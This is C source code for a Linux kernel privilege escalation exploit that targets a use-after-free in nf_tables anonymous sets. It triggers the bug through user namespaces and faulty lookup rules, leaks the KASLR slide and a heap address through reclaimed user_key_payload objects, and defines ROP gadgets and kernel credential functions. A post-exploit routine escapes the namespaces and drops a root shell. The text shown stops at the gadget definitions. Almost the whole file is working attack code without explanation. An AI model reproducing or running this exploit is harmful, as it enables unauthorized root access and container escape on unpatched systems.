// gcc exp.c -o exp -l mnl -l nftnl -w
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <assert.h>
#include <netinet/in.h>
#include <stdint.h>
#include <syscall.h>
#include <mqueue.h>
#include <linux/io_uring.h>
#include <linux/keyctl.h>
#include <sys/shm.h>
#include <sys/ipc.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/resource.h>

#define TARGET_SET_SIZE 0x258 // for kmalloc-cg-1k slab
//#define TARGET_SET_SIZE 0x180 // for kmalloc-cg-512 slab
#define NORMAL_SET_SIZE 0x158
#define LEAK_MSG_MSG_SIZE 0x200
#define LEAK_MSG_MSG_SPRAY_CNT 0x400
#define BARRIOR_MSG_MSG_SPRAY_CNT 0x1000
#define DELAY_SET_ELEM_CNT (0x300 * 0x800)
#define PIPE_SPRAY_CNT 0x800

int flag = 0;

#define mnl_batch_limit (1024 * 1024)
char mnl_batch_buffer[2 * mnl_batch_limit];
char mnl_batch_buffer2[2 * mnl_batch_limit];
char log_prefix[0x100];

struct msgp {
        long mtype;
        char mtext[1];
};

typedef int32_t key_serial_t;
static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
    return syscall(__NR_add_key, type, description, payload, plen, ringid);
}

static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
    return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
}

void unshare_setup(uid_t uid, gid_t gid)
{
    int temp;
    char edit[0x100];

    unshare(CLONE_NEWNS|CLONE_NEWUSER|CLONE_NEWNET);

    temp = open("/proc/self/setgroups", O_WRONLY);
    write(temp, "deny", strlen("deny"));
    close(temp);

    temp = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", uid);
    write(temp, edit, strlen(edit));
    close(temp);

    temp = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", gid);
    write(temp, edit, strlen(edit));
    close(temp);

    return;
}

uint32_t family = NFPROTO_INET;
char *spray_table_name = "spray_table";
char *exploit_table_name = "exploit_table";

char *spray_chain_name = "OUTPUT";
char *exploit_chain_name = "OUTPUT";

//char *exploit_set_name = "set_A";
char *barrior_set_name = "set_barrior";
char *delay_set_name = "set_delay";
char *lookup_alloc_name = "set_Alloc";

static void create_table(struct mnl_nlmsg_batch *batch, uint32_t seq, char * table_name)
{
    struct nftnl_table *table = nftnl_table_alloc();
    if (table == NULL) {
        errx(1, "Cannot into nftnl_table_alloc()");
    }

    nftnl_table_set_u32(table, NFTNL_TABLE_FAMILY, family);
    nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);

    struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWTABLE,
        family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_table_nlmsg_build_payload(nlh, table);
    mnl_nlmsg_batch_next(batch);

    nftnl_table_free(table);
}


static void create_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char * table_name, char *set_name, uint32_t set_id, uint32_t set_flags,
    uint32_t set_key_len, uint32_t set_desc_size,
    void *set_userdata, uint32_t set_userdata_len)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
    nftnl_set_set_u32(set, NFTNL_SET_ID, set_id);
    nftnl_set_set_u32(set, NFTNL_SET_FLAGS, set_flags);
    nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, set_key_len);
    if (set_desc_size != 0) {
        nftnl_set_set_u32(set, NFTNL_SET_DESC_SIZE, set_desc_size);
    }
    if (set_userdata != NULL) {
        nftnl_set_set_data(set, NFTNL_SET_USERDATA, set_userdata, set_userdata_len);
    }

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSET,
        family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}

static void delete_set(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char *table_name, char *set_name)
{
    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);

    struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_DELSET,
        NFPROTO_INET,
        NLM_F_ACK,
        seq
    );
    nftnl_set_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}


static void create_chain(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char * table_name, char *chain_name)
{
    struct nftnl_chain *chain = nftnl_chain_alloc();
    if (chain == NULL) {
        errx(1, "Cannot into nftnl_chain_alloc()");
    }

    nftnl_chain_set_u32(chain, NFTNL_CHAIN_FAMILY, family);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_TABLE, table_name);
    nftnl_chain_set_str(chain, NFTNL_CHAIN_NAME, chain_name);

    struct nlmsghdr *nlh = nftnl_chain_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWCHAIN,
        family,
        NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_chain_nlmsg_build_payload(nlh, chain);
    mnl_nlmsg_batch_next(batch);

    nftnl_chain_free(chain);
}


static void create_lookup_set_elem(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char * table_name, char *set_name,
    void *set_elem_key, uint32_t set_elem_key_len)
{
    char set_elem_userdata[0x2f] = {};

    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);

    struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
    if (set_elem == NULL) {
        errx(1, "Cannot into nftnl_set_elem_alloc()");
    }

    nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, set_elem_key_len);
    nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_USERDATA, set_elem_userdata, sizeof(set_elem_userdata));

    nftnl_set_elem_add(set, set_elem);

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSETELEM,
        NFPROTO_INET,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq
    );
    nftnl_set_elems_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);
}


static void create_lookup_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char * table_name, char *chain_name, char *set_name, int set_id)
{
    struct nftnl_rule *rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);
    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);

    struct nftnl_expr *lookup = nftnl_expr_alloc("lookup");
    if (lookup == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    nftnl_expr_set_str(lookup, NFTNL_EXPR_LOOKUP_SET, set_name);
    nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_SET_ID, set_id);
    nftnl_expr_set_u32(lookup, NFTNL_EXPR_LOOKUP_FLAGS, 0);

    nftnl_rule_add_expr(rule, lookup);

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE,
        family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}

static void create_faulty_lookup_rule(struct mnl_nlmsg_batch *batch, uint32_t seq,
    char * table_name, char *chain_name, char *set_name, int set_id)
{   
    struct nftnl_expr *lookup1, *lookup2;
    struct nftnl_rule *rule;

    rule = nftnl_rule_alloc();
    if (rule == NULL) {
        errx(1, "Cannot into nftnl_rule_alloc()");
    }

    nftnl_rule_set_u32(rule, NFTNL_RULE_FAMILY, family);
    nftnl_rule_set_str(rule, NFTNL_RULE_TABLE, table_name);
    nftnl_rule_set_str(rule, NFTNL_RULE_CHAIN, chain_name);

    lookup1 = nftnl_expr_alloc("lookup");
    if (lookup1 == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    // for release
    nftnl_expr_set_u32(lookup1, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
    nftnl_expr_set_str(lookup1, NFTNL_EXPR_LOOKUP_SET, set_name);
    nftnl_expr_set_u32(lookup1, NFTNL_EXPR_LOOKUP_SET_ID, set_id);
    nftnl_expr_set_u32(lookup1, NFTNL_EXPR_LOOKUP_FLAGS, 0);

    nftnl_rule_add_expr(rule, lookup1);

    lookup2 = nftnl_expr_alloc("lookup");
    if (lookup2 == NULL) {
        errx(1, "Cannot into nftnl_expr_alloc()");
    }

    // for fault
    nftnl_expr_set_u32(lookup2, NFTNL_EXPR_LOOKUP_SREG, 0);
    nftnl_expr_set_str(lookup2, NFTNL_EXPR_LOOKUP_SET, set_name);
    nftnl_expr_set_u32(lookup2, NFTNL_EXPR_LOOKUP_SET_ID, set_id);
    nftnl_expr_set_u32(lookup2, NFTNL_EXPR_LOOKUP_FLAGS, 0);

    nftnl_rule_add_expr(rule, lookup2);

    struct nlmsghdr *nlh = nftnl_rule_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWRULE,
        family,
        NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
        seq
    );
    nftnl_rule_nlmsg_build_payload(nlh, rule);
    mnl_nlmsg_batch_next(batch);

    nftnl_rule_free(rule);
}

static void delay_spray_set_elem(struct mnl_socket *nl, char * table_name, uint64_t *set_elem_key, uint64_t set_elem_key_end)
{
    uint32_t portid, seq, table_seq;
    int ret;

    seq = time(NULL);
    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    struct nftnl_set *set = nftnl_set_alloc();
    if (set == NULL) {
        errx(1, "Cannot into nftnl_set_alloc()");
    }

    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
    nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
    nftnl_set_set_str(set, NFTNL_SET_NAME, delay_set_name);

    uint64_t count = set_elem_key_end - (*set_elem_key);
    if (count > 0x800) {
        count = 0x800;
    }
    while (count > 0) {
        -- count;

        struct nftnl_set_elem *set_elem = nftnl_set_elem_alloc();
        if (set_elem == NULL) {
            errx(1, "Cannot into nftnl_set_elem_alloc()");
        }

        nftnl_set_elem_set(set_elem, NFTNL_SET_ELEM_KEY, set_elem_key, sizeof(*set_elem_key));

        nftnl_set_elem_add(set, set_elem);

        ++ (*set_elem_key);
    }

    struct nlmsghdr *nlh = nftnl_nlmsg_build_hdr(
        mnl_nlmsg_batch_current(batch),
        NFT_MSG_NEWSETELEM,
        NFPROTO_INET,
        NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK,
        seq++
    );
    nftnl_set_elems_nlmsg_build_payload(nlh, set);
    mnl_nlmsg_batch_next(batch);

    nftnl_set_free(set);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret <= 0)
            break;
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret < 0)
            break;
        table_seq++;
    }
    if (ret == -1) {
        err(1, "Cannot into mnl_socket_recvfrom()");
    }
}

void set_cpu_affinity(int cpu_n, pid_t pid) {
        cpu_set_t *set = malloc(sizeof(cpu_set_t));

        CPU_ZERO(set);
        CPU_SET(cpu_n, set);

        if (sched_setaffinity(pid, sizeof(set), set) < 0){
                perror("sched_setaffinity");
                return;
        }
        free(set);
}

static void prepare_nftables(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    // table for spray
    create_table(batch, seq++, spray_table_name);
    create_chain(batch, seq++, spray_table_name, spray_chain_name);

    // table for exploit
    create_table(batch, seq++, exploit_table_name);
    create_chain(batch, seq++, exploit_table_name, exploit_chain_name);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret == -1) {
            err(1, "Cannot into mnl_socket_recvfrom()");
        }
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret == -1) {
            err(1, "Cannot into mnl_cb_run()");
        }
        table_seq++;
    }
}

static void prepare_reclaim_set(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;
    char udata_buf[TARGET_SET_SIZE];

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    // set for delaying transaction
    create_set(batch, seq++, spray_table_name, delay_set_name, 1, 0, 1, 0, udata_buf, TARGET_SET_SIZE - NORMAL_SET_SIZE);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    /*
    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret == -1) {
            err(1, "Cannot into mnl_socket_recvfrom()");
        }
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret == -1) {
            err(1, "Cannot into mnl_cb_run()");
        }
        table_seq++;
    }*/
}

static void release_reclaim_set(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    int ret;
    char udata_buf[TARGET_SET_SIZE];

    seq = time(NULL);

    struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    // set for delaying transaction
    delete_set(batch, seq++, spray_table_name, delay_set_name);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }

    mnl_nlmsg_batch_stop(batch);

    /*
    while (table_seq + 1 != seq) {
        ret = mnl_socket_recvfrom(nl, mnl_batch_buffer, mnl_batch_limit);
        if (ret == -1) {
            err(1, "Cannot into mnl_socket_recvfrom()");
        }
        ret = mnl_cb_run(mnl_batch_buffer, ret, table_seq, portid, NULL, NULL);
        if (ret == -1) {
            err(1, "Cannot into mnl_cb_run()");
        }
        table_seq++;
    }*/
}

static void trigger_uaf(struct mnl_socket *nl)
{
    uint32_t portid, seq, table_seq;
    struct mnl_nlmsg_batch *batch;
    int ret;
    char exploit_set_name[0x100], barrior_set_name[0x100];
    char udata_buf[TARGET_SET_SIZE];
    //char * exploit_set_name = "set_exploit";

    // first batch : register anon set
    seq = time(NULL);
    batch = mnl_nlmsg_batch_start(mnl_batch_buffer, mnl_batch_limit);

    nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
    table_seq = seq;
    mnl_nlmsg_batch_next(batch);

    memset(exploit_set_name, 'A', sizeof(exploit_set_name));
    memset(udata_buf, 0, TARGET_SET_SIZE);
    exploit_set_name[sizeof(exploit_set_name) - 1] = '\x00';
    create_set(batch, seq++, exploit_table_name, "a", 0x13100, NFT_SET_ANONYMOUS, 1, 0, udata_buf, TARGET_SET_SIZE - NORMAL_SET_SIZE);
    create_set(batch, seq++, exploit_table_name, "b", 0x13101, NFT_SET_ANONYMOUS, 1, 0, udata_buf, TARGET_SET_SIZE - NORMAL_SET_SIZE);
    // barrior sets for bypass freelist check
    /*for(int i = 0; i < 4; i++){
        memset(exploit_set_name, 'A' + i, sizeof(exploit_set_name));
        exploit_set_name[sizeof(exploit_set_name) - 1] = '\x00';
        create_set(batch, seq++, exploit_table_name, barrior_set_name, 0x13102 + i, NFT_SET_ANONYMOUS, 1, 0, NULL, NULL);
    }*/

    create_faulty_lookup_rule(batch, seq++, exploit_table_name, exploit_chain_name, "a", 0x13100);
    create_faulty_lookup_rule(batch, seq++, exploit_table_name, exploit_chain_name, "b", 0x13100);

    /*for(int i = 0; i < 4; i++){
        memset(exploit_set_name, 'A' + i, sizeof(exploit_set_name));
        exploit_set_name[sizeof(exploit_set_name) - 1] = '\x00';
        create_faulty_lookup_rule(batch, seq++, exploit_table_name, exploit_chain_name, barrior_set_name, 0x13102 + i);
    }*/

    create_lookup_rule(batch, seq++, exploit_table_name, exploit_chain_name, "a", 0x13100);

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    portid = mnl_socket_get_portid(nl);

    // start spray thread
    printf("[*] first batch will start with spray\n");
    flag = 1;
    sleep(1);
    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                          mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "Cannot into mnl_socket_sendto()");
    }
    // stop spray thread
    flag = 0;

    mnl_nlmsg_batch_stop(batch);
    printf("[*] first batch done\n");
}

/*
void * thread_func(void * arg){
    size_t cnt = 0;
    char buf[LEAK_MSG_MSG_SIZE];
    
    // pin the cpu
    set_cpu_affinity(0, 0);
    memset(buf, 'A', LEAK_MSG_MSG_SIZE);

    while(!flag){};

    // perform kmalloc-cg spray
    spray_msgsnd(msgqids1, LEAK_MSG_MSG_SPRAY_CNT, LEAK_MSG_MSG_SIZE, buf, 1, 1);
    
    return;
}*/
/*
void * thread_func(void * arg){
    struct mnl_socket *nl = *(struct mnl_socket **)arg;
    uint32_t portid, seq, table_seq;
    struct mnl_nlmsg_batch *batch;
    size_t cnt = 0;
    int ret;
    char buf[LEAK_MSG_MSG_SIZE], reclaim_set_name[0x100];
    
    // pin the cpu
    set_cpu_affinity(0, 0);
    memset(buf, 'A', LEAK_MSG_MSG_SIZE);
    memset(reclaim_set_name, 0, sizeof(reclaim_set_name));

    while(!flag){};

    while(flag){
        seq = time(NULL);
        batch = mnl_nlmsg_batch_start(mnl_batch_buffer2, mnl_batch_limit);

        nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
        table_seq = seq;
        mnl_nlmsg_batch_next(batch);

        for(size_t i = 0; i < 0x100; i++){
            snprintf(reclaim_set_name, sizeof(reclaim_set_name), "reclaim_set%d",cnt + i);
            create_set(batch, seq++, spray_table_name, reclaim_set_name, 0x23450 + cnt + i, 0, 2, 0, NULL, NULL);
        }

        nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
        mnl_nlmsg_batch_next(batch);

        if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
                            mnl_nlmsg_batch_size(batch)) < 0) {
            err(1, "Cannot into mnl_socket_sendto()");
        }
        while (table_seq + 1 != seq) {
            ret = mnl_socket_recvfrom(nl, mnl_batch_buffer2, mnl_batch_limit);
            if (ret == -1) {
                err(1, "Cannot into mnl_socket_recvfrom()");
            }
            ret = mnl_cb_run(mnl_batch_buffer2, ret, table_seq, portid, NULL, NULL);
            if (ret == -1) {
                err(1, "Cannot into mnl_cb_run()");
            }
            table_seq++;
        }
        cnt += 0x100;
    }
    printf("[*] total %d cnt\n", cnt);
    return;
}
*/

int ulimit_fd(void) {
    struct rlimit rlim;
    
    // Get the current resource limits
    if (getrlimit(RLIMIT_NOFILE, &rlim) == -1) {
        perror("getrlimit");
        return 1;
    }
    
    printf("Current maximum file descriptors limit: %ld\n", rlim.rlim_cur);
    
    // Increase the maximum file descriptors limit
    rlim.rlim_cur = rlim.rlim_max;
    if (setrlimit(RLIMIT_NOFILE, &rlim) == -1) {
        perror("setrlimit");
        return 1;
    }
    
    // Get the updated resource limits
    if (getrlimit(RLIMIT_NOFILE, &rlim) == -1) {
        perror("getrlimit");
        return 1;
    }
    
    printf("New maximum file descriptors limit: %ld\n", rlim.rlim_cur);
    
    return 0;
}

pthread_t th;

unsigned long cs;
unsigned long rsp;
unsigned long ss;
unsigned long rflags;

static void save_state() {
	asm(
	"movq %%cs, %0\n"
	"movq %%ss, %1\n"
	"pushfq\n"
	"popq %2\n"
  	"movq %%rsp, %3\n"
	: "=r" (cs), "=r" (ss), "=r" (rflags), "=r" (rsp) : : "memory" );
}

void post_exploit(void){
    printf("[+] exploit success!!\n");
    // spin the parent
    //if(fork()){ for(;;); }
    // move to safe cpu
    // to prevent access to corrupted freelist
    set_cpu_affinity(1, 0);
    usleep(500000);
    
	// escape pid/mount/network namespace
	if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) {
        perror("setns: mnt");
    } else if (setns(open("/proc/1/ns/pid", O_RDONLY), 0) < 0) {
        perror("setns: pid");
    } else if (setns(open("/proc/1/ns/net", O_RDONLY), 0) < 0) {
        perror("setns: net");
    }

    printf("[+] now drop the shell\n");

	// drop root shell
	execlp("/bin/sh", "/bin/sh", NULL);
	exit(0);
}

void replace(unsigned char *data, uint64_t datasz, uintptr_t key, uintptr_t repl)
{
    for (unsigned char *data_end = data + datasz - 8; data < data_end; data++) {
        if (*(uintptr_t*)data == key) {
            *(uintptr_t*)data = repl;
        }
    }
}

int child_pipe[2], child_pid;
void fork_child_waiter()
{
    if (pipe(child_pipe) < 0) {
        perror("pipe");
    }
    if ((child_pid = fork()) == 0) {  // child
        char dummy;
        if (read(child_pipe[0], &dummy, 1) != 1) {
            perror("waiter read()");
        }
        for (int i = 0; i < 10; i++) {
            int euid;
            usleep(500000);
            if ((euid = geteuid()) == 0)
                break;
            printf("euid = %d\n", euid);
            if (i == 9) {
                exit(0);
            }
        }
        post_exploit();
        exit(-1);
    }   // parent, passthrough
    printf("child pid: %d\n", child_pid);
}

int main(int argc, char ** argv)
{
    struct mnl_socket *nl;
    char msg_buf[0x2000];
    struct msgp * msg = (struct msgp *)msg_buf;
    char buf[0x2000];
    int ret;
    int pipefd[PIPE_SPRAY_CNT][2];

    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    system("rm -f /tmp/aa; touch /tmp/aa; chmod 777 /tmp/aa");

    // exploit initialization
    unshare_setup(getuid(), getgid());
    ulimit_fd();
    set_cpu_affinity(0, 0);

    fork_child_waiter();
    
    nl = mnl_socket_open(NETLINK_NETFILTER);
    if (nl == NULL) {
        err(1, "Cannot into mnl_socket_open()");
    }

    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        err(1, "Cannot into mnl_socket_bind()");
    }

    int saved_key;
    memset(buf, 0, 0x200);
    if ((saved_key = add_key("user", "saved_key_fdzz", buf, 0x1f8, KEY_SPEC_PROCESS_KEYRING)) < 0)
        perror("add_key");

    // setup table and chains
    printf("[*] prepare table and chain...\n");
    prepare_nftables(nl);

    printf("[*] now trigger UAF...\n");
    trigger_uaf(nl);

    // spary msg_msg with unique types
    int keys[1];
    for(int i = 0; i < 1; i++) {
        memset(buf, 0, 0x200);
        *(int*)buf = 0x13370000 + i;
        //if(msgqids1[i] < 0) continue;
        //if(send_msg(msgqids1[i], buf, LEAK_MSG_MSG_SIZE - 48, i + 1) < 0)
        if ((keys[i] = add_key("user", "abcdefghijklmnop" + i, buf, 0x1f8, KEY_SPEC_PROCESS_KEYRING)) < 0)
            perror("add_key");
    }

    // reclaim it with new set
    prepare_reclaim_set(nl);

    // and check duplicate
    int key1;
	//memset(msg_buf, 0, sizeof(msg_buf));
	//ret = msgrcv(msgqids1[0], msg, sizeof(msg_buf), 0, IPC_NOWAIT | MSG_COPY);
    char * key_buf = malloc(0x10000);
    memset(key_buf, 0, sizeof(key_buf));
    ret = keyctl(KEYCTL_READ, keys[0], key_buf, 0x10000, 0);
    if(ret < 0) perror("keyctl");
    //printf("keyctl(KEYCTL_READ): %#x\n", ret);
    //key1 = *(int*)key_buf;
    uintptr_t *leak = key_buf;
    /*for (int i = 0; i < ret / 8; i++) {
        printf("[0x%04x]: %lx\n", i, leak[i]);
    }*/

#define NFT_SET_OPS (0xffffffff81000000 + 0x18b4720)
    uintptr_t kaslr_slide = leak[0x15] - NFT_SET_OPS;
    printf("[+] kaslr_slide: %p\n", kaslr_slide);

    // address of struct nft_set (overlapping with struct user_key_payload)
    uintptr_t heap_addr = leak[0x19] - 0x19 * 8 - 0x18;
    printf("[+] heap_addr:  %p\n", heap_addr);

    /*printf("break on %p !!\n", 0xffffffff810003b7 + kaslr_slide);
    printf("gogo? 0 > ");
    int dummy;
    scanf("%d", &dummy);*/
    //sleep(100);

    // reclaim the chunk and immediately setxattr it
    memset(buf, 0, 0x200);
    if (keyctl(KEYCTL_REVOKE, keys[0], 0, 0, 0) < 0) {
        perror("keyctl(KEYCTL_REVOKE)");
    }
    if (setxattr("/tmp/aa", "user.x", buf, 0x200, XATTR_CREATE) < 0) {
        perror("setxattr");
    }
    if (keyctl(KEYCTL_REVOKE, saved_key, 0, 0, 0) < 0) {
        perror("keyctl(KEYCTL_REVOKE)");
    }
    printf("rcu sync...\n");
    usleep(200000); // rcu sync
    for (int i = 0; i < 0x400 / 8; i++) {
        ((uintptr_t*)buf)[i] = 0xdeadbeef00000000 + i;
    }

#define PIVOT_PUSH      0xffffffff818a9405      // push rdi ; jmp qword ptr [rsi + 0x39]
#define PIVOT_POP       0xffffffff810041cb      // pop rsp ; pop r13 ; pop r14 ; pop r15 ; jmp 0xffffffff81004130 (nop; ret)
#define PIVOT_SHIFT     0xffffffff81a6d804      // add rsp, 0xc8 ; jmp 0xffffffff82204200 (ret)
#define PRDI            0xffffffff81081610      // pop rdi ; ret
#define PRSI            0xffffffff811441ea      // pop rsi ; ret
#define SET_MEMORY_X    0xffffffff8107e740      // set_memory_x(addr, numpages)
#define PREPARE_KERNEL_CRED     0xffffffff8110fbc0
#define COMMIT_CREDS            0xffffffff8110f8e0
#define SWITCH_TASK_NAMESPACES  0xffffffff8110e020
#define FIND_TASK_BY_VPID       0xffffffff81106810
#define FIND_TASK_BY_PID_NS     0xffffffff811067e0
#define MSLEEP                  0xffffffff8116c1c0
#define SET_MEMORY_X            0xffffffff8107e740
#define RET2USERMODE            (0xffffffff82001090 + 0x99)
#define INIT_TASK               0xffffffff83215940
#define INIT_CRED               0xffffffff83262120
#define INIT_NSPROXY            0xffffffff83261ee0
#define INIT_FS                 0xffffffff833980a0
//#define INIT_PID_NS             0xffffffff83261b60

